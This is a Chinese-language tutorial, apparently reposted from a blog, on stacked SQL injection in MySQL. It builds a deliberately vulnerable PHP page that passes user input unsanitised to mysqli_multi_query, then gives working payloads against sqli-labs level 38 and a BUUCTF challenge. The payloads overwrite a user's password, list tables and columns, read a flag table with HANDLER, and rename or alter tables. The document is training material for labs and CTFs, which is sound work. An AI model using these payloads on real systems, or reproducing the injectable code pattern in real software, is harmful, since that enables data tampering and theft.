【保姆级】sql注入之堆叠注入

一、堆叠注入的原理

mysql数据库sql语句的默认结束符是以";"号结尾,在执行多条sql语句时就要使用结束符隔
开,而堆叠注入其实就是通过结束符来执行多条sql语句


比如我们在mysql的命令行界面执行一条查询语句,这时语句的结尾必须加上分号结束

  • select * from student;
    HTWwvV.png

如果我们想要执行多条sql那就用结束符分号进行隔开,比如在查询的同时查看当前登录用户是谁

  • select * from student;select current_user();
    HThjHS.png

显而易见堆叠注入就是在不可控的用户输入中通过传入结束符+新的sql语句来获取想要的息,可以通过简单的流程图来了解过程

Created with Raphaël 2.3.0 web输入框 恶意sql(;show tables #) 是否存在堆叠注入 输出查出的表信息 构造其他恶意sql yes no

二、堆叠注入触发条件

堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,这就需要服
务器在访问数据端时使用的是可同时执行多条sql语句的方法,比如php中mysqli_multi_query()函数,这个函数在支持同时执行多条sql语句,而与之对应的mysqli_query()函数一次只能执行一条sql语句,所以要想目标存在堆叠注入,在目标主机没有对堆叠注入进行黑名单过滤的情况下必须存在类似于mysqli_multi_query()这样的函数,简单总结下来就是

  1. 目标存在sql注入漏洞
  2. 目标未对";"号进行过滤
  3. 目标中间层查询数据库信息时可同时执行多条sql语句

可以做一个简单的实验,创建test.html和test.php两个文件内容分别为

  • test.html
    <html>
        <head><title>学生ID查询</title><head>
        <body>
            <form method="get" action="index.php">
                <input type="text" placeholder="输入学生id查询成绩">
                <br>
                <input type="submit">
            </form>
        </body>
    </html>

  • index.php (页面写的有点着急不要介意哈!
<?php
$id=$_GET['id'];
$con=mysqli_connect("localhost","root","123","test");
if (mysqli_connect_errno($con))
{
    echo "Failed to connect to MySQL: ".mysqli_connect_error();
}
mysqli_select_db($con, "test");
$sql="SELECT * FROM student WHERE id='$id'";
mysqli_multi_query($con, $sql);
$result = mysqli_store_result($con);
$row = mysqli_fetch_row($result);
print_r($row);
echo "<br>";
echo "you sql:  ".$sql.";";
mysqli_close($con);
?>

在mysql命令行中创建一个test数据库,再创建一个student表插入一些数据

create database test;use test;create table student( id int, name varchar(100), score varchar(100));insert into student(id,name,score) values(1,"toert","100"),(2,"giao","10");

先检查一下页面功能是否正常

H7Od4x.png

直接构造堆叠注入去创建一张test表参照student表的数据

  • ?id=1’;create table test like student;#
    H7XJRf.png
    H7XBon.png

可以看到原来的sql语句经过堆叠注入恶意构造变成了SELECT * FROM student WHERE id=‘1’;create table test like student;

三、堆叠注入实战

0x1 sqli-labs38关卡

sqli-labs靶场包含了很多类型的sql注入环境,不知道怎么搭建的可以看上一篇的sql注入环境搭建


传入单引号报错,发现错误回显分析后构造单引号闭合发现字符型注入

  • ?id=1'
    HH0AKJ.md.png
  • ?id=1' or '1'='1
    HH0Q2D.md.png

经过测试存在union联合注入,使用联合注入爆破出users表中有id、username、password三个 字段,于是尝试堆叠注入将id为1的用户密码改成123,可以配合联合查询来判断sql是否执行

  • 1' union select 1,2,3;update users set password=123 where id=1--+
    HHxCBF.md.png

然后再次查询id为1的用户时发现password信息已经被成功执行,说明目标存在堆叠注入,如果目标没有限制执行的sql语句,那就可以随心所欲的执行你想要执行的sql语句了!

  • ?id=1
    HHxtjf.png

0x2 BUUCTF的一道堆叠注入题目

测试注入点发现GET型字符注入,

  • ?inject=1' or '1'='1
    Hb3IgI.md.png

order by爆破字段2

  • ?inject=1' order by 3%23
    Hb8uKx.png

配合union select发现过滤规则

  • ?inject=1' union select 1,2%23
    HbGSFe.png

没有过滤分号,测试堆叠注入成功,查询当前数据库的表有1919810931114514words两张表

  • ?inject=1';show tables%23
    HbGBOx.png

接下来查询每张表中有哪些列明,继续使用堆叠注入配合show,发现191开头的表中存在flag关键字,这边需要注意一下的是因为这张表的名字为纯数字,在使用时需要通过"`"号括起来

  • ?inject=-1’;show columns from `1919810931114514` %23
    HbGX1s.png

因为目标过滤了select语句所以直接查询是不太可能了,这时就得用到其他可以读取表数据的方法,在网上找了找发现mysql数据库中可以使用handler语句读取表中的数据,阅读官方文档后发现这玩意就相当于一个数据指针,先创建要一个准备读取的对象然后操作这个数据指针去读取表中的数据,help查看用法如下

  • help handler;
    HbqKZd.png
  1. handler 要读取的表名 open as 别名;(打开一个句柄实例,也可以不取别名,用一个as是为了下面更加方便操作)
  2. handler 别名 read next;(将句柄移动到表中的第一行数据并且读取,也可以用first或者last读取第一行和最后一行)
  3. handler 别名 close;(将这个句柄实例关闭)

了解handler的用法再配合堆叠注入拿到flag

  • ?inject=1';handler1919810931114514open as toert;handler toert read next%23
    HbOtEj.png

对于这道题目网上搜了一下还有一种做法,就是将1919810931114514表改成words表,然后使用alter table将1919810931114514表中的falg列名修改为words中的id列名,然后通过原本的查询将flag查询出来,具体payload如下

  • ?id=1';rename table words to word;rename table1919810931114514to words;alter table words change flag id varchar(100);show tables;
    HbzU1I.png
  • ?id=1' or '1'='1
    HqSkvt.png

第二种通过修改表名字段的方式最好再用alter table add将1919810931114514表新增一个名为data列,这样就完美模拟了原来的words表结构,没有增加data列是因为目标原本的select语句应该是select * from words where id=’’,因为加了“*”所以什么都能查出来,如果语句为select id,data from words,那用原本的方法就没办法查出flag值了,因为找不到data列select语句会报错,针对这个情况可以做一个简单的实验


使用select查询固定列名信息

  • select id,name from student
    HbxLm8.png

当student表中没有name字段后再通过刚刚的语句就会报错

  • alter table drop name;
  • select id,name from student;
    HbzZtJ.png

本文转自 https://blog.csdn.net/weixin_42566218/article/details/122998991?ops_request_misc=%257B%2522request%255Fid%2522%253A%25221862445eb9197a8b9d4b8e632a1d6826%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=1862445eb9197a8b9d4b8e632a1d6826&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allfirst_rank_ecpm_v1~rank_v31_ecpm-1-122998991-null-null.142v100pc_search_result_base4&utm_term=SQL%E5%A0%86%E5%8F%A0%E6%9F%A5%E8%AF%A2%E5%AE%9E%E6%88%98&spm=1018.2226.3001.4187,如有侵权,请联系删除。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/947835.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Linux(centos)安装 MySQL 8 数据库(图文详细教程)

前言 前几天写了个window系统下安装Mysql的博客&#xff0c;收到很多小伙伴私信需要Linux下安装Mysql的教程&#xff0c;今天这边和大家分享一下&#xff0c;话不多说&#xff0c;看教程。 一、删除以前安装的MySQL服务 一般安装程序第一步都需要清除之前的安装痕迹&#xff…

Segment Anything论文详细翻译【Part2:引言Introduction】

目录 写在前面 Introduction 第1段 第2段 第3段 第4段 第5段 第6段 第7段 第8段 第9段 第10段 第11段 第12段 Figure2 关键特点 图中具体内容 图例说明 写在前面 为啥要写这篇文章&#xff1f;因为找不到一篇写的特别好的【翻译并仔细解释】文章。网上大多千…

整数拼接(哈希表 枚举)

2068. 整数拼接 - AcWing题库 #include <bits/stdc.h> using namespace std;const int N 1e5 10;int n,k; int a[N]; int s[11][N]; //因为Ai < 10^9 10^9 是一个10位数&#xff0c;所以要*10^10 才能拼接int main() {cin >> n >> k;for (int i 1;i &…

使用爬虫技术获取网页中的半结构化数据

目录 前言1. 半结构化数据与爬虫技术简介1.1 半结构化数据的定义与特性1.2 爬虫技术的基本原理 2. 爬取半结构化数据的实现过程2.1 明确目标与准备2.2 发送HTTP请求2.3 解析网页内容2.4 动态内容的处理2.5 数据存储与清洗 3. 技术挑战与应对策略3.1 处理反爬机制3.2 提高爬取效…

Linux(Centos 7.6)命令详解:ls

1.命令作用 列出目录内容(list directory contents) 2.命令语法 Usage: ls [OPTION]... [FILE]... 3.参数详解 OPTION: -l&#xff0c;long list 使用长列表格式-a&#xff0c;all 不忽略.开头的条目&#xff08;打印所有条目&#xff0c;包括.开头的隐藏条目&#xff09…

一文读懂主成分分析法(PCA)

主成分分析法&#xff08;PCA&#xff09; 主成分分析法&#xff08;PCA&#xff09;主成分分析的基本思想主成分的计算主成分分析的原理主成分分析的特点主成分分析的应用 主成分分析法&#xff08;PCA&#xff09; 主成分分析的基本思想 PCA是1901 年Pearson在研究回归分析…

LLVM防忘录

目录 Windows中源码编译LLVMWindows下编译LLVM Pass DLL Windows中源码编译LLVM 直接从llvm-project下载源码, 然后解压后用VS2022打开该目录, 然后利用VS的开发终端执行: cmake -S llvm -B build -G "Visual Studio 17 2022" -DLLVM_ENABLE_PROJECTSclang -DLLVM_…

adb 不是内部或外部命令,也不是可运行的程序或批处理文件。

1、问题概述&#xff1f; 本文讲述的是在window系统中安装了Android SDK之后&#xff0c;adb无法使用的情况。 在cmd中执行adb devices提示如下问题&#xff1a; adb 不是内部或外部命令&#xff0c;也不是可运行的程序或批处理文件。 问题&#xff1a;没有配置android sdk环…

Leetcode 第426场周赛分析总结

3370. 仅含置位位的最小整数 AC代码 class Solution { public:int smallestNumber(int n) {int x 1;while (x - 1 < n) {x << 1;}return x - 1;} };分析总结 也可以先直接获取n的长度&#xff0c;然后计算得到&#xff0c;这样时间复杂度由O(logn)优化为O(1) 在C…

【从零开始入门unity游戏开发之——unity篇05】unity6基础入门——运行游戏按钮、Game游戏窗口和Project项目窗口介绍

文章目录 运行游戏按钮、Game游戏窗口和Project项目窗口一、运行游戏按钮二、Game游戏窗口1、右上角设置1.1 如果没有相机渲染则发出警告1.2 在”编程模式”下清除每一帧1.3 窗口最大化 2、上方工具&#xff08;1&#xff09;切换手机模拟器&#xff08;2&#xff09;切换不同显…

九、Vue 事件处理器

文章目录 前言一、基础事件绑定:v-on 指令二、方法调用:组织有序的交互逻辑三、事件修饰符阻止冒泡与默认事件捕获与自身触发单次触发与鼠标按键区分四、按键修饰符前言 在 Vue.js 的交互世界里,事件处理器起着举足轻重的作用,它让页面从静态展示迈向动态交互,精准捕捉用户…

【项目】基于趋动云平台的Stable Diffusion开发

【项目】基于趋动云平台的Stable Diffusion开发 &#xff08;一&#xff09;登录趋动云&#xff08;二&#xff09;创建项目&#xff1a;&#xff08;三&#xff09;初始化开发环境&#xff1a;&#xff08;四&#xff09;运行代码&#xff08;五&#xff09;运行模型 &#xf…

VSCode下配置Blazor环境 断点调试Blazor项目

VSCode下使用Blazor的环境配置和插件推荐 Blazor是一种用于构建交互式Web UI的.NET框架&#xff0c;它可以让你使用C#、Razor和HTML进行Web开发&#xff0c;而不需要JavaScript。在这篇文章中&#xff0c;我们将介绍如何在VSCode中配置Blazor环境&#xff0c;并推荐一些有用的…

word文档中的文档网格——解决相同行间距当显示出不同行间距的情况

1 问题 被一个行间距调疯了&#xff0c;就是样式改了没用&#xff0c;格式刷刷了没用。就是肉眼可以看出行间距完全不一样。 2 解决方法 1&#xff09;修改论文正文(即出现问题文本的样式)样式&#xff1a;样式>修改>格式>段落>缩进和间距>取消"如果定义了…

ubuntu如何禁用 Snap 更新

.禁用 Snap 更新&#xff08;通过修改 snapd 配置&#xff09; 打开并编辑 /etc/apt/apt.conf.d/50unattended-upgrades文件。 这个文件控制自动更新的行为。 sudo vim /etc/apt/apt.conf.d/50unattended-upgrades 里面有一行将里面的auto改为false即可禁用更新&#xff1a;…

UniApp 原生插件开发指南

一、UniApp 原生插件开发引言 在当今的移动应用开发领域&#xff0c;跨平台开发已成为主流趋势&#xff0c;而 UniApp 作为一款强大的跨平台开发框架&#xff0c;备受开发者青睐。它凭借 “一套代码&#xff0c;多端运行” 的特性&#xff0c;极大地提高了开发效率&#xff0c…

JVM实战—9.线上FGC的几种案例

大纲 1.如何优化每秒十万QPS的社交APP的JVM性能(增加S区大小 优化内存碎片) 2.如何对垂直电商APP后台系统的FGC进行深度优化(定制JVM参数模版) 3.不合理设置JVM参数可能导致频繁FGC(优化反射的软引用被每次YGC回收) 4.线上系统每天数十次FGC导致频繁卡顿的优化(大对象问题…

电脑找不到mfc110.dll文件要如何解决?Windows缺失mfc110.dll文件快速解决方法

一、mfc110.dll文件的重要性 mfc110.dll&#xff0c;全称Microsoft Foundation Class Library 110&#xff0c;是Microsoft Visual C Redistributable for Visual Studio 2012的一部分。这个动态链接库&#xff08;DLL&#xff09;文件对于支持基于MFC&#xff08;Microsoft F…

《机器学习》——数据标准化(0~1标准化,z标准化)

文章目录 数据标准化一、什么是标准化二、常用标准化0~1标准化z标准化 三、注意事项 数据标准化 一、什么是标准化 数据标准化是一种数据预处理技术&#xff0c;用于将数据按照一定的规则进行变换&#xff0c;使得不同特征或变量具有可比性和一致性。作用 消除量纲影响 在实际…

【Vim Masterclass 笔记02】第3章:Vim 核心知识 + L08:Vim 核心浏览命令 + L09:Vim 核心浏览命令同步练习

文章目录 Section 3&#xff1a;Vim Essentials&#xff08;Vim 核心知识&#xff09;S03L08 Essential Navigation Commands1 光标的上下左右移动2 上 / 下翻页3 基于单词前移4 基于单词后移5 重新定位视图中的文本&#xff08;页面重绘&#xff09;6 定位到所在行的行首7 光标…